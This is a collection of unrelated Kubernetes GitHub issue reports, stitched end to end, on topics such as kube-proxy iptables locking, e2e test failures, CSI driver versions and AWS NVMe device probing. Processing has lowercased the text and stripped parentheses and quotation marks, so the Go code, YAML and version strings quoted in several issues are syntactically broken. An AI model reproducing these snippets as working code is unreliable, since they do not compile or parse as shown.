restarts   age       ip         \r kube-controller-manager-889084721-8ppdm   1/1       running   0          1m        10.5.57.4   \r kube-controller-manager-889084721-drbkh   0/1       pending   0          1m        <none>\r kube-controller-manager-889084721-sn6xg   1/1       running   0          1m        10.5.14.6   \r    \r \r   what you expected to happen  :\r \r i expect kubectl to understand that pending does not mean it was successfully applied. that last pending pod could have failed; however, automated deployment scripts that depend on rollout status would have thought everything was ok. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r apply an update to a pod that uses anti-affinity to limit the number of pods per node and limit the number of nodes to the same as replicas. \r \r   anything else we need to know  :\r \r

what happened  :\r it's looks like time out when i used  kubectl log  xxxx .but i can get logs  from using  docker logs xxxx  on the work node. i am not sure about principle of  kubectl logs . \r is it related to flanneld's network?  and my docker log-driver used journald.\r how does  kubectl logs xxx  work\r \r   anything else we need to know?  :\r \r   environment  :\r - docker version \r    \r client:\r  version:         1.10.3\r  api version:     1.22\r  package version: docker-common-1.10.3-59.el7.centos.x86_64\r  go version:      go1.6.3\r  git commit:      3999ccb-unsupported\r  built:           thu dec 15 17:24:43 2016\r  os/arch:         linux/amd64\r \r server:\r  version:         1.10.3\r  api version:     1.22\r  package version: docker-common-1.10.3-59.el7.centos.x86_64\r  go version:      go1.6.3\r  git commit:      3999ccb-unsupported\r  built:           thu dec 15 17:24:43 2016\r  os/arch:         linux/amd64\r    \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.4.19899+2aa99337bd8dd4\ , gitcommit:\ 2aa99337bd8dd43ec378ba1df6570df214828548\ , gittreestate:\ clean\ , builddate:\ 2017-01-16t01:36:45z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.4.19899+2aa99337bd8dd4\ , gitcommit:\ 2aa99337bd8dd43ec378ba1df6570df214828548\ , gittreestate:\ clean\ , builddate:\ 2017-01-16t01:36:45z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux minion-gpu-18 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r    \r

failure cluster  95802980cd123d0c5dbd  https://go.k8s.io/triage 95802980cd123d0c5dbd        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:777 jun 27 09:05:01.059: could not reach http service through 104.197.47.236:31507 after 5m0s: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:670           failure cluster statistics: 4 tests failed,    17 jobs failed,    148 builds failed. failure stats cover 1 day time range '30 jun 2017 22:23 utc' to '1 jul 2017 22:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to create a functioning nodeport service | 9 | |  k8s.io  services should be able to change the type and ports of a service  slow  | 8 | |  k8s.io  esipp  slow  should only target nodes with endpoints | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-slow | 38 |  1 jul 2017 21:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-slow/4297  | | ci-kubernetes-e2e-gke-slow | 19 |  1 jul 2017 21:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow/7101  | | ci-kubernetes-e2e-gke | 17 |  1 jul 2017 17:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11727  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to create a functioning nodeport service;  k8s.io  services should be able to change the type and ports of a service  slow  | | mrhohn |  k8s.io  esipp  slow  should only target nodes with endpoints | | xiang90 |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  | | sig/network |  k8s.io  services should be able to create a functioning nodeport service;  k8s.io  services should be able to change the type and ports of a service  slow ;  k8s.io  esipp  slow  should only target nodes with endpoints | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  |  </details><br>   current status  https://go.k8s.io/triage 95802980cd123d0c5dbd

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r saw kube-proxy pods stuck in a weird state on a long running cluster as below:\r    \r name             ready     status     restarts   age\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          36d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          36d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   0/1       init:0/1   0          36d\r kube-proxy-xxx   0/1       init:0/1   0          27d\r kube-proxy-xxx   1/1       running    2          36d\r ...\r    \r \r logged on those unready kube-proxy pods and found kube-proxy container is in fact running  iptables entries is being updated .\r \r  kubectl describe  the unready kube-proxy pods show init container stuck in  waiting  phase.\r    \r name:           kube-proxy-...\r namespace:      kube-system\r node:           ...\r start time:     ...\r labels:         component=kube-proxy\r                 tier=node\r annotations:    ...\r                 scheduler.alpha.kubernetes.io/critical-pod=\r status:         pending\r ip:             ...\r init containers:\r   touch-lock:\r     container id:       \r     image:              busybox\r     image id:           \r     port:               <none>\r     command:\r       /bin/touch\r       /run/xtables.lock\r     state:              waiting\r       reason:           podinitializing\r     ready:              false\r     restart count:      0\r     environment:        <none>\r     mounts:\r       ...\r containers:\r   kube-proxy:\r     container id:       ...\r     image:              gcr.io/google_containers/kube-proxy:v1.7.2\r     image id:           ...\r     port:               <none>\r     command:\r       /bin/sh\r       -c\r       echo -998 > /proc/$$$/oom_score_adj && kube-proxy --master=... --kubeconfig=/var/lib/kube-proxy/kubeconfig --cluster-cidr=... --resource-container=\ \  --v=2 --feature-gates=experimentalcriticalpodannotation=true --iptables-sync-period=1m --iptables-min-sync-period=10s 1>>/var/log/kube-proxy.log 2>&1\r     state:              running\r       started:          ...\r     ready:              true\r     restart count:      2\r     requests:\r       cpu:              100m\r     environment:        <none>\r     mounts:\r       ...\r conditions:\r   type          status\r   initialized   false \r   ready         true \r   podscheduled  true\r volumes:\r   ...\r qos class:      burstable\r node-selectors: <none>\r tolerations:    :noexecute\r events:         <none>\r    \r \r   what you expected to happen  :\r \r init container should finish running and kube-proxy should become ready.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure how it ended up with this state yet.\r \r   anything else we need to know?  :\r @kubernetes/sig-node-bugs \r cc @freehan @dnardo \r \r   environment  :\r - kubernetes version  use  kubectl version  : master 1.7.3, nodes 1.7.2\r - cloud provider or hardware configuration  : gke, though don't think it's provider specific\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r currently running kubernetes  1.8.2 but the same affect all versions up to 1.8.4 and i suppose 1.9.x\r \r i have some programs that works with iptables   weave-cni , custom firewalls , stats, etc  \r i've noticed sporadic errors logged from various instances of kube-proxy\r ie:\r    console\r failed to execute iptables-restore: exit status 1  iptables-restore: line 683 failed, 1 proxier.go:1573 \r    \r \r looking at proxier.go i've seen that you are not using the \ -w\  iptables arguments which is a must when you are dealing with possible concurrent execution of iptables   and this is the case because you cannot be sure that kube-proxy is the only program that call iptables in the system   \r \r so , i suggest to add as argument   -w 5  , or what you consider sane to iptables commands  or write a logic in go to handle iptables locking.. but why when there is already this argument for that specific case ? :   \r \r as it is now it is triggering errors in logs which then are monitored and also trigger my alerting systems , and i don't know if internally cause further issue, but anyway the wait param for iptables is here be used :  .\r \r thank you,\r francesco\r \r \r

is this a bug report or feature request?  :\r  @kubernetes/sig-network-bugs \r / this is causing a release-blocking job to fail\r umbrella issue: https://github.com/kubernetes/kubernetes/issues/57323\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/33 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:192\r nov 21 22:48:56.265: failed to find expected endpoints:\r tries 130\r command echo 'hostname' | timeout -t 2 nc -w 1 -u 104.196.209.249 30248\r retrieved map netserver-7:{} netserver-4:{} netserver-6:{} netserver-8:{} netserver-2:{} netserver-1:{} netserver-0:{} netserver-9:{} netserver-5:{} netserver-3:{} \r expected map  \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:328\r    \r

in 1.9,  apps/v1  is introduced, and  extensions/v1beta1 ,  apps/v1beta1  and  apps/v1beta2  are deprecated. \r \r we need to migrate kubectl to use  apps/v1  by default. this includes  but isn't limited to :\r \r     client-side change\r -  x   kubectl create deployment    61288 \r -  x   kubectl run    61288 \r -  x   kubectl rollout    61419 \r \r     server-side change\r these commands use the server-preferred order, which will prefer the  extensions  api group for compatibility until  extensions  is removed.\r -      kubectl get \r -      kubectl explain  \r \r @kubernetes/sig-cli-maintainers @kubernetes/sig-apps-misc

is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r as discovered in https://github.com/kubernetes/kubernetes/issues/63923, pod termination phase means that volume manager will start unmounting volumes, but volumes won't be guaranteed to be fully unmounted until the pod object is deleted.  so most volume tests should actually wait for the pod to be deleted, instead of just terminated, especially those volume tests that delete the storage driver/server afterwards.  this can cause flaky tests due to user pods not being able to unmount the volumes.\r \r here's all the waitforpodterminated calls i found in volume tests:\r framework/volume_util.go:         if err := f.waitforpodterminated config.prefix+\ -client\ , \ \  ; !apierrs.isnotfound err  {\r storage/flexvolume.go:          if err := f.waitforpodterminated config.prefix+\ -client\ , \ \  ; !apierrs.isnotfound err  {\r storage/flexvolume.go:          if err := f.waitforpodterminated config.prefix+\ -client\ , \ \  ; !apierrs.isnotfound err  {\r storage/flexvolume.go:          if err := f.waitforpodterminated config.prefix+\ -client\ , \ \  ; !apierrs.isnotfound err  {\r

i profiled a moderately complex apiserver startup to see why over the last few releases  1.9 -> 1.11  its gone from 5s to 40s to fully initialize.\r \r the cpu profiles were mostly memory and gc related - looking at the gc profiles revealed that in the first 50s of startup we allocated about 20 million objects, of which 19,900,000 of those allocations were in openapi  serving, reading, or merging .  the next non-openapi related cumulative allocation source was around 100k  the 210th item or so in cumulative lines .  this is on an api server running several aggregated apis and crds, but with no actual objects other than those initialized on startup.\r \r i suspect the vast majority of the openapi work is inefficient or could be memoized / simplified.  it was somewhat shocking to me that it was so high.  this needs to be investigated.\r \r @kubernetes/sig-scalability-bugs @kubernetes/sig-api-machinery-bugs

failing jobs\r  sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r   failing tests\r  admissionwebhook should be able to deny pod and configmap creation  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1681 \r   triage results\r  ci-kubernetes-e2e-gce-new-master-upgrade-master  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-master \r \r /cc @tpepper @aishsundar \r    / /milestone v1.12

hi  i have a problem about gpu  \r i want to get  gpu info  assinged to one pod.so if  possible i get the gpu info?

i'm trying to implement a metric tracking states of each pod. goal is to be able to detect if a pod gets continuously restarted in a given period of time, highlighting a problem on the pod.  here is the current data exposed by  container_tasks_state : http://pastebin.com/z1kixqcc  the value of this metric is extremely limited as all values are all set to 0 and there's currently no way to access  io_kubernetes_container_restartcount   or any other label .  genrally speaking, kubernetes should expose more meaningful data to prometheus as discussed with @juliusv, @fabxc and @jimmidyson from https://github.com/prometheus

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-serial/336/  failed:  k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:246 nov 14 18:36:04.965: unexpected error: <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:4275

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/1075/  failed: dumpclusterlogs {e2e.go}      exit status 255       previous issues for this test:  33722  37578

related issue:  32526\r \r  kubelet garbage collection  https://kubernetes.io/docs/admin/garbage-collection/  is taking disk space usage as the factor for triggering image collection. from the  codes on current head  https://github.com/kubernetes/kubernetes/blob/a461eab321f8262a48d71eda94129c6db524bf6f/pkg/kubelet/images/image_gc_manager.go l246-l284 , it seems like the inode pressure is not accounted.\r \r however it is not rare that with some large docker images, we could consumes more than 90% inodes with lower than 50% disk space occupied on nodes. in this case the image garbage collection won't help. for now, the only chance kubelet will delete unused images for reclaiming inodes is during eviction manager eviction under inode pressure, which may instead lead to issue  41032.\r \r we should consider accounting the inode usage as well when do garbage collection.\r \r @dashpole @kubernetes/sig-node-bugs\r \r

sample failures: \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/781\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:236\r expected\r     <bool>: false\r to equal\r     <bool>: true\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:5082\r    \r \r @kubernetes/sig-scheduling-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r latest master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r on code inspection it was found that the function newcidrset  \r is converting all ip addresses to ipv4 with to4  \r \r   what you expected to happen  :\r this should support ipv4 and ipv6\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

after setting up my infrastructure and deploying kubernetes on it, i would like to deploy a kubemark cluster on my pre-existing kubernetes cluster for scale testing.\r \r the goal is to use the existing kubemark start scripts, but to add an new provider that fills in the required fields for kubemark to land on the pre-existing cluster.\r

failure cluster  9752ffe9b750fef3c11b  https://go.k8s.io/triage 9752ffe9b750fef3c11b        error text:     error during ./cluster/log-dump/log-dump.sh /workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    72 jobs failed,    203 builds failed. failure stats cover 1 day time range '25 jul 2017 06:10 utc' to '26 jul 2017 06:10 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | dumpclusterlogs | 72 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 12 |  26 jul 2017 04:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/766  | | ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew | 12 |  26 jul 2017 05:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-cvm-kubectl-skew/717  | | ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew | 10 |  26 jul 2017 04:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew/769  |   current status  https://go.k8s.io/triage 9752ffe9b750fef3c11b

currently only the advertise-address for the kube-apiserver can be configured and the bind-address for kube-apiserver can not be configured. and kube-apiserver will listen on 0.0.0.0, this will cause some security issues for the kubernetes.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r specifying \ memory reservation\  limit to kubernetes yaml is not being honoured.\r \r   what you expected to happen  :\r memory reservation resource constraint should be honoured.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have the replicaset yml file like below:\r \r    \r resources:\r    limits:\r        memory: 500mi\r    requests:\r        memory: 200mi\r    \r \r and, run the below command to see if memoryreservation  should be 200 mb otherwise  is being populated in docker-api result:\r    \r curl --unix-socket /var/run/docker.sock -x get http:/v1.27/containers/b81333392dda/json | grep -i memory\r \r \ memoryreservation\ :0,\r \ memory\ :524288000\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux ip-172-31-21-1 4.4.0-1061-aws  70-ubuntu smp fri may 25 21:47:34 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

i created a stateful set locally and was unable to resolve the dns names for the pods in the statefulset  https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/ stable-network-id . then through much googling i found that you  must  define a service otherwise the dns names aren't resolvable.\r \r this line i think was supposed to tell me this:\r    \r a statefulset can use a headless service to control the domain of its pods\r    \r \r but how i read that is that i  can  create a headless service if i want to change the domain name. my expectation was that without a headless service the dns names would still resolve, which turned out to not be the case.\r \r \r so if the service is supposed to be required  which at least in my testing and some other issues i've seen  then the docs should specifically call out that it is required.

\r   what happened  :\r i realized csi local driver with the function of islikelynotmountpoint in kubernetes pkg/util/mount library. the function as follows:\r    \r // islikelynotmountpoint determines if a directory is not a mountpoint.\r // it is fast but not necessarily always correct. if the path is in fact\r // a bind mount from one part of a mount to another it will not be detected.\r // mkdir /tmp/a /tmp/b; mount --bin /tmp/a /tmp/b; islikelynotmountpoint \ /tmp/b\  \r // will return true. when in fact /tmp/b is a mount point. if this situation\r // if of interest to you, don't use this function...\r func  mounter  mounter  islikelynotmountpoint file string   bool, error  {\r \tstat, err := os.stat file \r \tif err != nil {\r \t\treturn true, err\r \t}\r \trootstat, err := os.lstat filepath.dir strings.trimsuffix file, \ /\    \r \tif err != nil {\r \t\treturn true, err\r \t}\r \t// if the directory has a different device as parent, then it is a mountpoint.\r \tif stat.sys  .  syscall.stat_t .dev != rootstat.sys  .  syscall.stat_t .dev {\r \t\treturn false, nil\r \t}\r \r \treturn true, nil\r }\r    \r we notice that if i use the symbolic link filepath, it will return false which cause the error to umount after this function. \r \r   what you expected to happen  :\r return true\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. mkdir a directory\r 2. symbolic link a to someone device\r 3. run the function with symbolic link\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   1.15\r - os  e.g:  cat /etc/os-release  :\r centos\r - kernel  e.g.  uname -a  :\r linux 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r yum\r

the scripts fail to set the default master ip and find the master if we are using master_reserved_ip.       could not detect kubernetes master node ip.  make sure you've launched a cluster with 'kube-up.sh'      if we set kube_master_ip to the same value that works but on cluster teardown it   releases   the elastic ip which is not what we expect.  i think that the script that finds the ip needs to default kube_master_ip on cluster-up to master_reserved_ip if it is set.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r cross\r \r ---\r \r   is this a bug report or feature request?    choose one : doc request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 7738f41b958bd8a8018333b9c3eb86c563e1ee1a  current head \r \r   environment  :\r -   cloud provider or hardware configuration  : n/a\r -   os    e.g. from /etc/os-release : os x\r -   kernel    e.g.  uname -a  : darwin\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r i wanted to run an e2e test but had not yet compiled kubectl locally, so i got the following error when trying to run an e2e test:\r \r    \r $ go run hack/e2e.go -- -v --test --test_args=\ --ginkgo.focus=\\ cockroachdb\\ \ \r 2017/02/12 15:28:59 e2e.go:76: calling kubetest -v --test --test_args=--ginkgo.focus=\\ cockroachdb\\ ...\r 2017/02/12 15:28:59 util.go:96: running: ./cluster/kubectl.sh version --match-server-version=false\r it looks as if you don't have a compiled kubectl binary\r \r if you are running from a clone of the git repo, please run\r './build/run.sh make cross'. note that this requires having\r docker installed.\r \r if you are running from a binary release tarball, something is wrong.\r look at http://kubernetes.io/ for information on how to contact the\r development team for help.\r 2017/02/12 15:28:59 util.go:98: step './cluster/kubectl.sh version --match-server-version=false' finished in 53.192538ms\r 2017/02/12 15:28:59 util.go:96: running: ./hack/e2e-internal/e2e-status.sh\r your active configuration is:  default \r \r project: cockroach-alex\r zone: us-central1-b\r it looks as if you don't have a compiled kubectl binary\r \r if you are running from a clone of the git repo, please run\r './build/run.sh make cross'. note that this requires having\r docker installed.\r \r if you are running from a binary release tarball, something is wrong.\r look at http://kubernetes.io/ for information on how to contact the\r development team for help.\r 2017/02/12 15:28:59 util.go:98: step './hack/e2e-internal/e2e-status.sh' finished in 406.973998ms\r 2017/02/12 15:28:59 e2e.go:126: something went wrong: encountered 2 errors:  exit status 1 exit status 1 \r 2017/02/12 15:28:59 e2e.go:78: err: exit status 1\r exit status 1\r    \r \r i had a kubectl binary in my path, for what it's worth, but it's not unreasonable that the test infra expects a locally built version.\r \r the real issue i have is that  ./build/run.sh make cross  is preposterously slow and builds a ton of unnecessary binaries. the error message would be much more useful to new devs if it gave a command to only build the necessary binary, or at least pointed to a doc explaining how to only build specific binaries for specific architectures. as it is, a new dev is likely to blindly copy-and-paste the command without realizing it could take a very long time to finish.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  /area cloudprovider\r  \r   what happened  :\r \r the ccm does not support  --leader-elect-resource-lock=configmaps   and will always use  endpoints . \r \r   what you expected to happen  :\r \r  --leader-elect-resource-lock=configmaps  should make the ccm use a configmap for a resource lock instead of  endpoints . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the ccm with  --leader-elect-resource-lock=configmaps  and you'll see  kubectl -n kube-system get endpoints  still have an endpoint  cloud-controller-manager  and  get configmaps  won't have a configmap for the resource lock.\r \r /assign \r

is this a bug report or feature request?  :\r bug report\r  \r   what happened  :\r aws nvme device path starts with  /dev/nvme  according to  doc  http://docs.aws.amazon.com/awsec2/latest/userguide/device_naming.html , it fails aws device probe  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l1429 \r    go\r \tfor _, blockdevice := range info.blockdevicemappings {\r \t\tname := aws.stringvalue blockdevice.devicename \r \t\tif strings.hasprefix name, \ /dev/sd\   {\r \t\t\tname = name 7: \r \t\t}\r \t\tif strings.hasprefix name, \ /dev/xvd\   {\r \t\t\tname = name 8: \r \t\t}\r \t\tif len name  < 1 || len name  > 2 {\r \t\t\tglog.warningf \ unexpected ebs devicename: %q\ , aws.stringvalue blockdevice.devicename  \r \t\t}\r \t\tdevicemappings mountdevice name   = awsvolumeid aws.stringvalue blockdevice.ebs.volumeid  \r \t}\r    \r \r \r   what you expected to happen  :\r nvme device should be supported.\r   how to reproduce it  as minimally and precisely as possible   :\r code reading\r \r   anything else we need to know?  :\r @kubernetes/sig-storage-bugs @kubernetes/sig-aws-misc \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : \r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r i intend to add new properties to kubernetes volume so i can specify the storage requirements and scheduler my pods according to those requirements.\r for example, my new yaml may look like this:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-ebs\r spec:\r   containers:\r   - image: k8s.gcr.io/test-webserver\r     name: test-container\r     volumemounts:\r     - mountpath: /test-ebs\r       name: test-volume\r   volumes:\r   - name: test-volume\r       myvolume  \r         capacity: 10gb  \r         bandwidth: 100mb/s  \r         sharable: true  \r       ...\r    \r when scheduling a pod, i should be able to get the exact value of these properties from the   pod.spec.volumes   struct, so that i can define my new predicate and  to scheduler that pod according to these new properties. \r \r can anybody shed a light on what the general process of adding new properties to k8s volume is? which components should i modify?\r \r @kubernetes/sig-storage-feature-requests

hello!\r i developed it on windows, but when i used the interface, i couldn't find the configuration file, and my path was good. linux development is no problem.\r ! filenotfounderror  https://user-images.githubusercontent.com/5716348/44975589-7011c200-af95-11e8-8c63-c3c00ede18d3.png \r

quoted from: https://github.com/kubernetes/kubernetes/issues/65246 issuecomment-439708121\r \r > failing job\r > https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster\r > \r > failing tests\r > \r >  sig-storage   serial  csi volumes csi plugin test using csi driver: gcepd  serial  should provision storage\r >  sig-storage   serial  csi volumes csi plugin test using csi driver: hostpath  serial  should provision storage\r > error\r > https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2629\r > \r > this is now 1.13 release blocking.\r \r csi v1.0.0 is only compatible with k8s >1.13\r csi v0.x is only compatible with k8s <1.12\r \r its probable that we will need to detect what version the k8s cluster is on in the test and deploy the \ correct\  version of the csi drivers for each version\r \r  /assign\r /cc @aishsundar @jberkus @saad-ali @msau42 \r  \r \r

